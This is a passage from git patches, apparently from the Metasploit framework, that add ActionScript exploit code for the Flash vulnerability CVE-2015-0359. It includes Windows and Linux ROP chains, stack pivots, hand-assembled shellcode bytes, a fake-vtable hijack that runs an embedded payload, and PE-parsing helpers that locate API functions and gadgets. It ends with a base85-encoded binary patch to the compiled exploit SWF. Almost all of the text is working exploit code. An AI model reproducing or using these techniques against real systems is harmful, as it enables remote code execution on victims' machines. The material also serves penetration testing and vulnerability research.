0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2015-0359/Logger.as b/external/source/exploits/CVE-2015-0359/Logger.as new file mode 100644 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/exploits/CVE-2015-0359/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2015-0359/PE.as b/external/source/exploits/CVE-2015-0359/PE.as new file mode 100644 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2015-0359/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} From 7527aa4f3410a5b39fdd126e7e96f933280b024b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 10 Jun 2015 14:07:18 -0500 Subject: [PATCH 0390/1013] Disable debug --- data/exploits/CVE-2015-0359/msf.swf | Bin 20979 -> 21021 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/data/exploits/CVE-2015-0359/msf.swf b/data/exploits/CVE-2015-0359/msf.swf index cd880de1e3d5a4c6153860de72c8d9701a8bbbd4..28e9a0938e552da0b0e78e8a768d751ed3412266 100755 GIT binary patch delta 20904 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 